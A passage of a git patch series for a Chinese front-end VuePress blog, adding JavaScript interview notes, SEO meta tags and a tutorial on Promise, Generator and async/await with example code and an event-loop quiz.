年龄:19 性别:男 爱好:敲代码 + obj1.fun.apply(obj2, ['男', '敲代码']); // 名字:王五 年龄:19 性别:男 爱好:敲代码 + obj1.fun.bind(obj2, '男', '敲代码')(); // 名字:王五 年龄:19 性别:男 爱好:敲代码 + ``` + + +#### 说说JS的回调地狱是什么以及解决 + +**简介:JS回调地狱** + +- 难度【**】 + +- 回调地狱 + + - 为了实现某些逻辑会写出层层嵌套的回调函数,嵌套过多会影响代码的可读性和逻辑,当某个请求失败时难以定位问题,这情况被称为回调地狱 + + - 代码示例 + + ```js + getData() { + axios.get("./mock/data_a.json").then((res1) => { + console.log(res1.data.code); + axios.get("./mock/data_b.json").then((res2) => { + console.log(res2.data.code); + axios.get("./mock/data_c.json").then((res3) => { + console.log(res3.data.code); + }); + }); + }); + }, + ``` + + - 通过promise解决 + + ```js + methods:{ + getData1(url) { + return new Promise((resolve, reject) => { + axios.get(url).then((res1) => { + if (res1.data.code <= 1) { + resolve("成功"); + } else { + reject("失败"); + } + }); + }); + }, + } + + + mounted(){ + this.getData1("./mock/data_a.json") + .then((res) => { + console.log(res); + return this.getData1("./mock/data_b.json"); + }) + .then((res) => { + console.log(res); + return this.getData1("./mock/data_c.json"); + }) + .then((res) => { + console.log(res); + }) + .catch((err) => { + console.log(err); + }); + } + ``` + + + + - Promise.all / Promise.race + + ```js + methods:{ + getData1(url) { + return new Promise((resolve, reject) => { + axios.get(url).then((res1) => { + // if (res1.data.code <= 1) { + resolve(res1.data.code); + // } else { + // reject("失败"); + // } + }); + }); + }, + } + + mounted(){ + Promise.all([ + this.getData1("./mock/data_a.json"), + this.getData1("./mock/data_b.json"), + this.getData1("./mock/data_c.json"), + ]) + .then((res) => { + console.log(res); + }) + .catch((err) => { + console.log(err); + }); + } + + ``` + + + + + + - async/await解决promise链式调用不够优雅的问题 + + ```js + async getData2() { + try { + const res1 = await this.getData1("./mock/data_a.json"); + const res2 = await this.getData1("./mock/data_b.json"); + const res3 = await this.getData1("./mock/data_c.json"); + console.log(res1, res2, res3); + } catch (err) { + console.log("err:", err); + } + }, + ``` + +#### 关于ES6法新增了哪些高级用法? + +**简介:ES6的几种好用的技巧** + +- 难度【*】 + +- let /const + + - let、const + - let/const声明的变量只有在当前作用域有效 {} + - 不存在变量提升 + - 不允许重复声明 + - const + - 声明的常量不可以改变 + - 声明的常量必须赋值 + - 声明了一个对象,仅仅保证地址不变 + + ```js + 1.声明的变量不需要改变,那么使用const + 2.声明的变量需要改变,那么用let + 3.暂时性死区:在声明变量前,使用该变量 + ``` + +- 模板字符串 `` + + - 它为JavaScript提供了简单的字符串插值(模板字面量)功能 + + ```js + let name = "小明" + let age = '18' + console.log('大家好,我是'+ name + '今年' + age); + console.log(`大家好, 我是${name}今年${age}`); + ``` + +- 箭头函数 + + - ```html + + ``` + +- 解构赋值 + + - 数组 + + - ```js + let [a, b, c] = [1, 2, 3]; + ``` + + - 对象 + + - ```js + let {name,age} = {name:'小明',age:18} + console.log(name,age)//小明,18 + ``` + + + +- 扩展运算符 `...` + + - ```js + console.log(...[1, 2, 3]) //1 2 3 + console.log(1, ...[2, 3, 4], 5) //1 2 3 4 5 + ``` + +#### 怎么通过JS实现防抖与节流? + +**简介:防抖与节流** + +- 难度【**】 + +- 什么是防抖 + + - 在事件被触发n秒后再执行回调函数,如果在这n秒内又被触发,则重新计时 + + - 用户在输入框中连续输入一串字符后,只会在输入完后去执行最后一次的查询ajax请求,这样可以有效减少请求次数,节约请求资源 + - window的scroll事件,不断地调整浏览器的窗口大小、或者滚动时会触发对应事件,防抖让其只触发一次 + + - 实现 + + ```js + handleClick() { + clearTimeout(this.timer); + this.timer = setTimeout(() => { + console.log(111); + }, 1000); + }, + ``` + +- 什么是节流 + + - 规定一个单位时间,只能有一次触发事件的回调函数执行,如果在同一时间内某事件被触发多次,只有一次能生效 + + - 鼠标连续不断地触发某事件(如点击),按照设置的时间来逐次执行; + - 在页面的无限加载场景下,当用户频繁滚动页面时,每隔一段时间才发一次请求展示数据,而不是按照用户滚动次数来请求数据 + + - 实现 + + ```js + handleClick() { + if (this.isRun) { + return; + } + this.isRun = true; + setTimeout(() => { + this.isRun = false; + console.log(111); + }, 1000); + }, + ``` + + + +#### 关于JS的设计模式了解多少? + +**简介:设计模式** + +- 难度【***】 + +- 单例模式 + + - 确保一个类仅有一个实例,并提供一个访问它的全局访问点 + + ```js + class Car { + constructor(name) { + this.name = name; + } + drive() { + console.log('启动'); + } + } + + Car.singleInstance = (function () { + let instance; + return function (name) { + if (!instance) { + instance = new Car(name); + } + return instance; + }; + })(); + var benchi = Car.singleInstance('benchi'); + var baoma = Car.singleInstance('baoma'); + ``` + + - 应用场景 + + - 网站的登录页 + - 购物车 + - vuex + +- 工厂模式 + + - 工厂模式就是把实现相同功能写在函数中,需要实现相同逻辑的地方直接调用函数,减少代码重复 + + ```js + function createCar(name,age){ + var obj = {} + obj.brand = name, + obj.color = age, + obj.sayHelllo = function(){ + console.log('你好,小滴课堂') + } + return obj; + } + + const car1 = createCar('宝马','白色') + const car2 = createCar('奔驰','黑色') + ``` + + +> 补充设计模式汇总 > From 3f8fc1c2cf043055d19b19b106aa86bb5ceba80a Mon Sep 17 00:00:00 2001 From: MoMeak9 <1308994506@qq.com> Date: Tue, 11 Jul 2023 01:40:05 +0800 Subject: [PATCH 08/26] =?UTF-8?q?feat:=20=F0=9F=8E=B8=20SEO=20=E6=A0=87?= =?UTF-8?q?=E7=AD=BE?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- src/.vuepress/config.ts | 22 +++++++++++++++------- 1 file changed, 15 insertions(+), 7 deletions(-) diff --git a/src/.vuepress/config.ts b/src/.vuepress/config.ts index 2078f593..931d035e 100644 --- a/src/.vuepress/config.ts +++ b/src/.vuepress/config.ts @@ -1,6 +1,6 @@ import {defineUserConfig} from "vuepress"; import {searchProPlugin} from "vuepress-plugin-search-pro"; -import { cut } from "nodejs-jieba"; +import {cut} from "nodejs-jieba"; import theme from "./theme"; export default defineUserConfig({ @@ -20,12 +20,20 @@ export default defineUserConfig({ s.parentNode.insertBefore(hm, s); })();` ], - [ - 'meta', {name: 'google-site-verification', content: '9vkxYqOlDYYQz21WsvuXk9ztRIK5L0_MuzL1WvFmBuY'} - ], - [ - 'meta', {name: 'keywords', content: '前端博客 vuepress Vue React JavaScript'} - ] + ['meta', {name: 'google-site-verification', content: '9vkxYqOlDYYQz21WsvuXk9ztRIK5L0_MuzL1WvFmBuY'}], + // 关键词 + ['meta', {name: 'keywords', content: '前端博客, vuepress, Vue, React, JavaScript'}], + ['meta', {charset: 'utf-8'}], + ['meta', {name: 'viewport', content: 'width=device-width, initial-scale=1.0'}], + ['meta', {name: 'author', content: '泯泷 Yihui'}], + // 网站图标 + ['link', {rel: 'icon', href: '/favicon.ico'}], + // Open Graph (OG) 标签 + ['meta', {property: 'og:type', content: 'website'}], + ['meta', {property: 'og:url', content: 'https://yihuiblog.top/'}], + ['meta', {property: 'og:title', content: 'Yihui\'s Blog'}], + ['meta', {property: 'og:description', content: '前端小白的技术博客'}], + ['meta', {property: 'og:image', content: 'https://cdn.yihuiblog.top/images/logo-for-blog.jpg'}], ], locales: { From ce8bdee7c114e8afaa3739c8f0cac3c82a60754b Mon Sep 17 00:00:00 2001 From: MoMeak9 <1308994506@qq.com> Date: Tue, 11 Jul 2023 01:50:02 +0800 Subject: [PATCH 09/26] =?UTF-8?q?feat:=20=F0=9F=8E=B8=20JS=20doc?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- .../PromiseA \351\233\206\345\220\210.md" | 396 ++++++ ...16\345\216\237\345\236\213\351\223\276.md" | 180 +++ ...ay\347\232\204\345\214\272\345\210\253.md" | 28 + ...20\347\240\201\345\217\202\350\200\203.md" | 1 + ...00\346\264\201\345\260\201\350\243\205.md" | 28 + ...43\345\206\263\346\226\271\346\241\210.md" | 256 ++++ ...37\347\224\250\346\214\207\345\215\227.md" | 239 ++++ ...\273\244\346\263\242\345\231\250Filter.md" | 94 ++ ...03\345\276\210\351\207\215\350\246\201.md" | 172 +++ ...62\346\237\223\347\232\204\357\274\237.md" | 119 ++ ...54\357\274\210\344\270\200\357\274\211.md" | 240 ++++ ...50\347\275\262\350\204\232\346\234\254.md" | 263 ++++ ...73\345\205\245\346\226\271\346\241\210.md" | 11 + ...MD, UMD, ESM, System \345\222\214 IIFE.md" | 67 + .../Atomics API.md" | 1 + ...2 \346\226\260\347\211\271\346\200\247.md" | 312 +++++ ...07\345\257\274\350\247\204\350\214\203.md" | 495 ++++++++ ...60\350\241\250\350\276\276\345\274\217.md" | 178 +++ ...36\346\224\266\346\234\272\345\210\266.md" | 353 ++++++ ...33\351\230\266\346\225\264\345\220\210.md" | 561 +++++++++ ...==\347\232\204\345\214\272\345\210\253.md" | 242 ++++ ...50\346\200\247\350\203\275\357\274\237.md" | 234 ++++ ...er \345\222\214 Web Worker\357\274\237.md" | 68 + ...07\346\241\243\346\240\207\350\256\260.md" | 156 +++ ...74\211forEach \345\276\252\347\216\257.md" | 89 ++ ...10\345\231\250\344\277\241\346\201\257.md" | 113 ++ ...04\347\220\206\346\214\207\345\215\227.md" | 1118 +++++++++++++++++ ...12\351\252\232\346\223\215\344\275\234.md" | 141 +++ ...5 - \345\237\272\344\272\216TypeScript.md" | 109 ++ ...16\344\271\210\345\212\236\357\274\237.md" | 95 ++ ...224\250\347\232\204\357\274\232URL API.md" | 56 + ...33\350\203\275\345\212\233\357\274\237.md" | 64 + ...67\350\265\267\346\235\245\357\274\201.md" | 556 ++++++++ ...0call\343\200\201apply\343\200\201bind.md" | 439 +++++++ ...\347\240\201KO\351\227\256\351\242\230.md" | 393 ++++++ ...tentLoaded, load, beforeunload, unload.md" | 238 ++++ 36 files changed, 8105 insertions(+) create mode 100644 "src/JavaScript/PromiseA \351\233\206\345\220\210.md" create mode 100644 "src/JavaScript/Property\345\216\237\345\236\213\351\223\276\344\270\216\345\216\237\345\236\213\351\223\276.md" create mode 100644 "src/JavaScript/Set\357\274\214Map \345\222\214 Array\347\232\204\345\214\272\345\210\253.md" create mode 100644 "src/JavaScript/Vue \346\272\220\347\240\201\345\217\202\350\200\203.md" create mode 100644 "src/JavaScript/Web Woker \344\270\216\344\270\273\347\272\277\347\250\213\351\200\232\344\277\241\345\234\272\346\231\257\344\270\213\345\257\271postMessage\347\232\204\347\256\200\346\264\201\345\260\201\350\243\205.md" create mode 100644 "src/JavaScript/Web Woker \345\270\270\350\247\201\344\275\277\347\224\250\351\227\256\351\242\230\345\222\214\350\247\243\345\206\263\346\226\271\346\241\210.md" create mode 100644 "src/JavaScript/WebAudio/Tone.js \346\241\206\346\236\266\351\243\237\347\224\250\346\214\207\345\215\227.md" create mode 100644 "src/JavaScript/WebAudio/Web Audio \346\273\244\346\263\242\345\231\250Filter.md" create mode 100644 "src/JavaScript/\344\270\272\344\273\200\344\271\210\346\257\217\344\270\252\344\272\272\351\203\275\345\234\250\350\260\210\350\256\272\345\220\214\346\236\204JavaScript \344\273\245\345\217\212\344\270\272\344\273\200\344\271\210\345\256\203\345\276\210\351\207\215\350\246\201.md" create mode 100644 "src/JavaScript/\344\272\213\344\273\266\345\276\252\347\216\257\346\230\257\345\246\202\344\275\225\345\275\261\345\223\215\351\241\265\351\235\242\346\270\262\346\237\223\347\232\204\357\274\237.md" create mode 100644 "src/JavaScript/\344\275\277\347\224\250Node.js\343\200\201Express.js\343\200\201TS\345\206\231\344\270\252\347\256\200\345\215\225\347\232\204\345\233\276\345\272\212\350\204\232\346\234\254\357\274\210\344\270\200\357\274\211.md" create mode 100644 "src/JavaScript/\344\275\277\347\224\250Node.js\343\200\201pm2\345\222\214ssh2\346\250\241\345\235\227\345\256\236\347\216\260\344\270\200\344\270\252\347\256\200\345\215\225\347\232\204Node.js\351\241\271\347\233\256\351\203\250\347\275\262\350\204\232\346\234\254.md" create mode 100644 "src/JavaScript/\345\211\215\347\253\257 SSO \345\215\225\347\202\271\347\231\273\345\205\245\346\226\271\346\241\210.md" create mode 100644 "src/JavaScript/\345\211\215\347\253\257\346\250\241\345\235\227\357\274\232CJS, AMD, UMD, ESM, System \345\222\214 IIFE.md" create mode 100644 "src/JavaScript/\345\237\272\347\241\200\347\237\245\350\257\206/Atomics API.md" create mode 100644 "src/JavaScript/\345\237\272\347\241\200\347\237\245\350\257\206/ES 12 \346\226\260\347\211\271\346\200\247.md" create mode 100644 "src/JavaScript/\345\237\272\347\241\200\347\237\245\350\257\206/ES5\343\200\2016 \346\214\207\345\257\274\350\247\204\350\214\203.md" create mode 100644 "src/JavaScript/\345\237\272\347\241\200\347\237\245\350\257\206/IIFE \347\253\213\345\215\263\346\211\247\350\241\214\345\207\275\346\225\260\350\241\250\350\276\276\345\274\217.md" create mode 100644 "src/JavaScript/\345\237\272\347\241\200\347\237\245\350\257\206/JS\345\236\203\345\234\276\345\233\236\346\224\266\346\234\272\345\210\266.md" create mode 100644 "src/JavaScript/\345\237\272\347\241\200\347\237\245\350\257\206/JavaScript \350\277\233\351\230\266\346\225\264\345\220\210.md" create mode 100644 "src/JavaScript/\345\237\272\347\241\200\347\237\245\350\257\206/js\344\270\255==\344\270\216===\347\232\204\345\214\272\345\210\253.md" create mode 100644 "src/JavaScript/\345\246\202\344\275\225\344\275\277\347\224\250Performance API \346\235\245\350\241\241\351\207\217\345\272\224\347\224\250\346\200\247\350\203\275\357\274\237.md" create mode 100644 "src/JavaScript/\346\200\216\344\271\210\346\200\273\346\234\211\344\272\272\346\267\267\346\267\206Service Worker \345\222\214 Web Worker\357\274\237.md" create mode 100644 "src/JavaScript/\346\212\200\346\234\257\345\256\236\350\267\265/JSDoc \345\210\235\346\216\242\357\274\232\344\273\243\347\240\201\345\206\205\347\232\204\346\226\207\346\241\243\346\240\207\350\256\260.md" create mode 100644 "src/JavaScript/\346\212\200\346\234\257\345\256\236\350\267\265/JavaScript \345\246\202\344\275\225\350\267\263\345\207\272\357\274\210\347\273\210\346\255\242\357\274\211forEach \345\276\252\347\216\257.md" create mode 100644 "src/JavaScript/\346\212\200\346\234\257\345\256\236\350\267\265/JavaScript \350\216\267\345\217\226\347\224\250\346\210\267\346\223\215\344\275\234\347\263\273\347\273\237\344\277\241\346\201\257\345\217\212\346\265\217\350\247\210\345\231\250\344\277\241\346\201\257.md" create mode 100644 "src/JavaScript/\346\212\200\346\234\257\345\256\236\350\267\265/JavaScript \351\224\231\350\257\257\345\244\204\347\220\206\346\214\207\345\215\227.md" create mode 100644 "src/JavaScript/\346\212\200\346\234\257\345\256\236\350\267\265/JavaScript\344\274\230\351\233\205\345\206\231\346\263\225\345\217\212\351\252\232\346\223\215\344\275\234.md" create mode 100644 "src/JavaScript/\346\212\200\346\234\257\345\256\236\350\267\265/LocalStorage\343\200\201sessionStorage \345\260\201\350\243\205 - \345\237\272\344\272\216TypeScript.md" create mode 100644 "src/JavaScript/\346\212\200\346\234\257\345\256\236\350\267\265/axios\343\200\201XHR\343\200\201XML\343\200\201AJAX\345\222\214Fetch\345\210\206\344\270\215\346\270\205\346\200\216\344\271\210\345\212\236\357\274\237.md" create mode 100644 "src/JavaScript/\346\235\245\350\256\244\350\257\206\344\270\200\344\270\213\345\256\236\347\224\250\347\232\204\343\200\201\345\245\275\347\224\250\347\232\204\357\274\232URL API.md" create mode 100644 "src/JavaScript/\346\236\204\345\273\272\345\267\245\345\205\267\345\272\224\350\257\245\345\214\205\345\220\253\345\223\252\344\272\233\350\203\275\345\212\233\357\274\237.md" create mode 100644 "src/JavaScript/\346\255\243\345\210\231\350\241\250\350\276\276\345\274\217\345\215\267\350\265\267\346\235\245\357\274\201.md" create mode 100644 "src/JavaScript/\346\267\261\345\205\245\350\247\243\346\236\220call\343\200\201apply\343\200\201bind.md" create mode 100644 "src/JavaScript/\347\216\251\350\275\254\344\270\200\350\241\214\344\273\243\347\240\201KO\351\227\256\351\242\230.md" create mode 100644 "src/JavaScript/\351\241\265\351\235\242\347\224\237\345\221\275\345\221\250\346\234\237\357\274\232DOMContentLoaded, load, beforeunload, unload.md" diff --git "a/src/JavaScript/PromiseA \351\233\206\345\220\210.md" "b/src/JavaScript/PromiseA \351\233\206\345\220\210.md" new file mode 100644 index 00000000..5d54dc9e --- /dev/null +++ "b/src/JavaScript/PromiseA \351\233\206\345\220\210.md" @@ -0,0 +1,396 @@ +--- +icon: edit +date: 2022-04-01 +category: +- 前端 +- JavaScript +--- + + +# Promise、Generator、Async 合集 + +我们知道`Promise`与`Async/await`函数都是用来解决JavaScript中的异步问题的,从最开始的回调函数处理异步,到`Promise`处理异步,到`Generator`处理异步,再到`Async/await`处理异步,每一次的技术更新都使得JavaScript处理异步的方式更加优雅,从目前来看,`Async/await`被认为是异步处理的终极解决方案,让JS的异步处理越来越像同步任务。**异步编程的最高境界,就是根本不用关心它是不是异步**。 + +## 异步解决方案的发展历程 + +### 1.回调函数 + +从早期的Javascript代码来看,在ES6诞生之前,基本上所有的异步处理都是基于回调函数函数实现的,你们可能会见过下面这种代码: + +```js +ajax('aaa', () => { + // callback 函数体 + ajax('bbb', () => { + // callback 函数体 + ajax('ccc', () => { + // callback 函数体 + }) + }) +}) +``` + +没错,在ES6出现之前,这种代码可以说是随处可见。它虽然解决了异步执行的问题,可随之而来的是我们常听说的**回调地狱**问题: + +- 没有顺序可言:嵌套函数执行带来的是调试困难,不利于维护与阅读 +- 耦合性太强:一旦某一个嵌套层级有改动,就会影响整个回调的执行 + +**所以,为了解决这个问题,社区最早提出和实现了`Promise`,ES6将其写进了语言标准,统一了用法。** + +### 2.Promise + +一个 Promise 必然处于以下几种状态之一: + +- 待定(pending): 初始状态,既没有被兑现,也没有被拒绝。 +- 已兑现(fulfilled): 意味着操作成功完成。 +- 已拒绝(rejected): 意味着操作失败。 + +Promise 是异步编程的一种解决方案,比传统的解决方案——回调函数和事件——更合理和更强大。它就是为了解决回调函数产生的问题而诞生的。 + +有了`Promise`对象,就可以将异步操作以同步操作的流程表达出来,避免了层层嵌套的回调函数。此外,`Promise`对象提供统一的接口,使得控制异步操作更加容易。 + +所以上面那种回调函数的方式我们可以改成这样:(前提是ajax已用Promise包装) + +```js +ajax('aaa').then(res=>{ + return ajax('bbb') +}).then(res=>{ + return ajax('ccc') +}) +``` + +通过使用`Promise`来处理异步,比以往的回调函数看起来更加清晰了,解决了回调地狱的问题,`Promise`的`then`的链式调用更能让人接受,也符合我们同步的思想。 + +**但Promise也有它的缺点:** + +- Promise的内部错误使用`try catch`捕获不到,只能只用`then`的第二个回调或`catch`来捕获 + +```js +let pro +try{ + pro = new Promise((resolve,reject) => { + throw Error('err....') + }) +}catch(err){ + console.log('catch',err) // 不会打印 +} +pro.catch(err=>{ + console.log('promise',err) // 会打印 +}) +``` + +- Promise一旦新建就会立即执行,无法取消 + +之前写过一篇[从如何使用到如何实现一个Promise](https://juejin.cn/post/7051364317119119396),讲解了Promise如何使用以及内部实现原理。对Promise还不太理解的同学可以看看~ + +### 3.Generator + +`Generator` 函数是 ES6 提供的一种异步编程解决方案,语法行为与传统函数完全不同。`Generator` 函数将 JavaScript 异步编程带入了一个全新的阶段。 + +#### 声明 + +与函数声明类似,不同的是`function`关键字与函数名之间有一个星号,以及函数体内部使用`yield`表达式,定义不同的内部状态(`yield`在英语里的意思就是“产出”)。 + +```js +function* gen(x){ + const y = yield x + 6; + return y; +} +// yield 如果用在另外一个表达式中,要放在()里面 +// 像上面如果是在=右边就不用加() +function* genOne(x){ + const y = `这是第一个 yield 执行:${yield x + 1}`; + return y; +} +``` + +#### 执行 + +```js +const g = gen(1); +//执行 Generator 会返回一个Object,而不是像普通函数返回return 后面的值 +g.next() // { value: 7, done: false } +//调用指针的 next 方法,会从函数的头部或上一次停下来的地方开始执行,直到遇到下一个 yield 表达式或return语句暂停,也就是执行yield 这一行 +// 执行完成会返回一个 Object, +// value 就是执行 yield 后面的值,done 表示函数是否执行完毕 +g.next() // { value: undefined, done: true } +// 因为最后一行 return y 被执行完成,所以done 为 true +``` + +调用 Generator 函数后,该函数并不执行,返回的也不是函数运行结果,而是一个指向内部状态的指针对象,也就是`遍历器对象(Iterator Object)`。下一步,必须调用遍历器对象的`next`方法,使得指针移向下一个状态。 + +所以上面的回调函数又可以写成这样: + +```js +function *fetch() { + yield ajax('aaa') + yield ajax('bbb') + yield ajax('ccc') +} +let gen = fetch() +let res1 = gen.next() // { value: 'aaa', done: false } +let res2 = gen.next() // { value: 'bbb', done: false } +let res3 = gen.next() // { value: 'ccc', done: false } +let res4 = gen.next() // { value: undefined, done: true } done为true表示执行结束 +``` + +由于 Generator 函数返回的遍历器对象,只有调用`next`方法才会遍历下一个内部状态,所以其实提供了一种可以暂停执行的函数。`yield`表达式就是暂停标志。 + +遍历器对象的`next`方法的运行逻辑如下。 + +(1)遇到`yield`表达式,就暂停执行后面的操作,并将紧跟在`yield`后面的那个表达式的值,作为返回的对象的`value`属性值。 + +(2)下一次调用`next`方法时,再继续往下执行,直到遇到下一个`yield`表达式。 + +(3)如果没有再遇到新的`yield`表达式,就一直运行到函数结束,直到`return`语句为止,并将`return`语句后面的表达式的值,作为返回的对象的`value`属性值。 + +(4)如果该函数没有`return`语句,则返回的对象的`value`属性值为`undefined`。 + +**`yield`表达式本身没有返回值,或者说总是返回`undefined`。`next`方法可以带一个参数,该参数就会被当作上一个`yield`表达式的返回值。** + +怎么理解这句话?我们来看下面这个例子: + +```js +function* foo(x) { + var y = 2 * (yield (x + 1)); + var z = yield (y / 3); + return (x + y + z); +} + +var a = foo(5); +a.next() // Object{value:6, done:false} +a.next() // Object{value:NaN, done:false} +a.next() // Object{value:NaN, done:true} + +var b = foo(5); +b.next() // { value:6, done:false } +b.next(12) // { value:8, done:false } +b.next(13) // { value:42, done:true } +``` + +由于`yield`没有返回值,所以(yield(x+1))执行后的值是`undefined`,所以在第二次执行`a.next()`是其实是执行的`2*undefined`,所以值是`NaN`,所以下面b的例子中,第二次执行`b.next()`时传入了12,它会当成第一次`b.next()`的执行返回值,所以b的例子中能够正确计算。**这里不能把next执行结果中的value值与yield返回值搞混了,它两不是一个东西** + +相同点: + +- 都能返回语句后面的那个表达式的值 +- 都可以暂停函数执行 + +区别: + +- 一个函数可以有多个 yield,但是只能有一个 return +- yield 有位置记忆功能,return 没有 + +### 4.Async/await + +`Async/await`其实就是上面`Generator`的语法糖,`async`函数其实就相当于`funciton *`的作用,而`await`就相当与`yield`的作用。而在`async/await`机制中,自动包含了我们上述封装出来的`spawn`自动执行函数。 + +所以上面的回调函数又可以写的更加简洁了: + +```js +async function fetch() { + await ajax('aaa') + await ajax('bbb') + await ajax('ccc') +} +// 但这是在这三个请求有相互依赖的前提下可以这么写,不然会产生性能问题,因为你每一个请求都需要等 +``` + +**`async`函数对`Generator`函数的改进,体现在以下四点:** + +- 内置执行器:`async`函数执行与普通函数一样,不像`Generator`函数,需要调用`next`方法,或使用`co`模块才能真正执行 +- 语意化更清晰:`async`和`await`,比起星号和`yield`,语义更清楚了。`async`表示函数里有异步操作,`await`表示紧跟在后面的表达式需要等待结果。 +- 适用性更广:`co`模块约定,`yield`命令后面只能是 Thunk 函数或 Promise 对象,而`async`函数的`await`命令后面,可以是 Promise 对象和原始类型的值(数值、字符串和布尔值,但这时会自动转成立即 resolved 的 Promise 对象)。 +- 返回值是Promise:`async`函数的返回值是 Promise 对象,这比 Generator 函数的返回值是 Iterator 对象方便多了。你可以用`then`方法指定下一步的操作。 + +#### async函数 + +async函数的返回值为Promise对象,所以它可以调用then方法 + +```js +async function fn() { + return 'async' +} +fn().then(res => { + console.log(res) // 'async' +}) +复制代码 +``` + +#### await表达式 + +**await** 右侧的表达式一般为 **promise** 对象, 但也可以是其它的值 + +1. 如果表达式是 promise 对象, await 返回的是 promise 成功的值 +2. 如果表达式是其它值, 直接将此值作为 await 的返回值 +3. await后面是Promise对象会阻塞后面的代码,Promise 对象 resolve,然后得到 resolve 的值,作为 await 表达式的运算结果 +4. 所以这就是await必须用在async的原因,async刚好返回一个Promise对象,可以异步执行阻塞 + +```js +function fn() { + return new Promise((resolve, reject) => { + setTimeout(() => { + resolve(1000) + }, 1000); + }) +} +function fn1() { return 'nanjiu' } +async function fn2() { + // const value = await fn() // await 右侧表达式为Promise,得到的结果就是Promise成功的value + // const value = await '南玖' + const value = await fn1() + console.log('value', value) +} +fn2() // value 'nanjiu' +``` + +## 异步方案比较 + +后三种方案都是为解决传统的回调函数而提出的,所以它们相对于回调函数的优势不言而喻。而`async/await`又是`Generator`函数的语法糖。 + +- Promise的内部错误使用`try catch`捕获不到,只能只用`then`的第二个回调或`catch`来捕获,而`async/await`的错误可以用`try catch`捕获 +- `Promise`一旦新建就会立即执行,不会阻塞后面的代码,而`async`函数中await后面是Promise对象会阻塞后面的代码。 +- `async`函数会隐式地返回一个`promise`,该`promise`的`reosolve`值就是函数return的值。 +- 使用`async`函数可以让代码更加简洁,不需要像`Promise`一样需要调用`then`方法来获取返回值,不需要写匿名函数处理`Promise`的resolve值,也不需要定义多余的data变量,还避免了嵌套代码。 + +## 说了这么多,顺便看个题吧~ + +```js +console.log('script start') +async function async1() { + await async2() + console.log('async1 end') +} +async function async2() { + console.log('async2 end') +} +async1() + +setTimeout(function() { + console.log('setTimeout') +}, 0) + +new Promise(resolve => { + console.log('Promise') + resolve() +}) +.then(function() { + console.log('promise1') +}) +.then(function() { + console.log('promise2') +}) +console.log('script end') +``` + +**解析:** + +打印顺序应该是:` script start -> async2 end -> Promise -> script end -> async1 end -> promise1 -> promise2 -> setTimeout` + +老规矩,全局代码自上而下执行,先打印出`script start`,然后执行async1(),里面先遇到await async2(),执行async2,打印出`async2 end`,然后await后面的代码放入微任务队列,接着往下执行new Promise,打印出`Promise`,遇见了resolve,将第一个then方法放入微任务队列,接着往下执行打印出`script end`,全局代码执行完了,然后从微任务队列中取出第一个微任务执行,打印出`async1 end`,再取出第二个微任务执行,打印出`promise1`,然后这个then方法执行完了,当前Promise的状态为`fulfilled`,它也可以出发then的回调,所以第二个then这时候又被加进了微任务队列,然后再出微任务队列中取出这个微任务执行,打印出`promise2`,此时微任务队列为空,接着执行宏任务队列,打印出`setTimeout`。 + +**解题技巧:** + +- 无论是then还是catch里的回调内容只要代码正常执行或者正常返回,则当前新的Promise实例为fulfilled状态。如果有报错或返回Promise.reject()则新的Promise实例为rejected状态。 +- fulfilled状态能够触发then回调 +- rejected状态能够触发catch回调 +- 执行async函数,返回的是Promise对象 +- await相当于Promise的then并且同一作用域下await下面的内容全部作为then中回调的内容 +- 异步中先执行微任务,再执行宏任务 + +## Promise 相关问题 + +### Promise中的then第二个参数和catch有什么区别? + +首页我们先要区分几个概念,第一,reject是用来抛出异常的,catch是用来处理异常的;第二:reject是Promise的方法,而then和catch是Promise实例的方法(Promise.prototype.then 和 Promise.prototype.catch)。 + +then的第二个参数和catch捕获错误信息的时候会就近原则,如果是promise内部报错,reject抛出错误后,then的第二个参数和catch方法都存在的情况下,只有then的第二个参数能捕获到,如果then的第二个参数不存在,则catch方法会捕获到。 + +```js +const promise = new Promise((resolve, rejected) => { + throw new Error('test'); +}); + +//此时只有then的第二个参数可以捕获到错误信息 +promise.then(res => { + // +}, err => { + console.log(err); +}).catch(err1 => { + console.log(err1); +}); + + +//此时catch方法可以捕获到错误信息 +promise.then(res => { + // +}).catch(err1 => { + console.log(err1); +}); + + +//此时只有then的第二个参数可以捕获到Promise内部抛出的错误信息 +promise.then(res => { + throw new Error('hello'); +}, err => { + console.log(err); +}).catch(err1 => { + console.log(err1); +}); + +//此时只有then的第二个参数可以捕获到Promise内部抛出的错误信息 +promise.then(res => { + throw new Error('hello'); +}, err => { + console.log(err); +}); + + +//此时catch可以捕获到Promise内部抛出的错误信息 +promise.then(res => { + throw new Error('hello'); +}).catch(err1 => { + console.log(err1); +}); +``` + +尽可能使用 + +```js +// good +promise + .then(function(data) { //cb + // success + }) + .catch(function(err) { + // error + }); +``` + +上面代码中,第二种写法要好于第一种写法,理由是第二种写法可以捕获前面then方法执行中的错误,也更接近同步的写法(try/catch)。因此,建议总是使用catch方法,而不使用then方法的第二个参数。 + +## Promise 相关API + +### 静态方法 + +- [`Promise.all(iterable)`](https://developer.mozilla.org/zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Promise/all) + + 这个方法返回一个新的promise对象,该promise对象在iterable参数对象里所有的promise对象都成功的时候才会触发成功,一旦有任何一个iterable里面的promise对象失败则立即触发该promise对象的失败。这个新的promise对象在触发成功状态以后,会把一个包含iterable里所有promise返回值的数组作为成功回调的返回值,顺序跟iterable的顺序保持一致;如果这个新的promise对象触发了失败状态,它会把iterable里第一个触发失败的promise对象的错误信息作为它的失败错误信息。Promise.all方法常被用于处理多个promise对象的状态集合。 + +- [`Promise.allSettled(iterable)`](https://developer.mozilla.org/zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Promise/allSettled) + + 等到所有promises都已敲定(settled)(**每个promise都已兑现(fulfilled)或已拒绝(rejected**))。 返回一个promise,该promise在所有promise完成后完成。并带有一个对象数组,每个对象对应每个promise的结果。 + +- [`Promise.any(iterable)`](https://developer.mozilla.org/zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Promise/any) + + 接收一个Promise对象的集合,当其中的一个 promise 成功,就返回那个成功的promise的值。所有失败则拒绝。 + +- [`Promise.race(iterable)`](https://developer.mozilla.org/zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Promise/race) + + 当iterable参数里的任意一个子promise被成功或失败后,父promise马上也会用子promise的成功返回值或失败详情作为参数调用父promise绑定的相应句柄,并返回该promise对象。 + +- 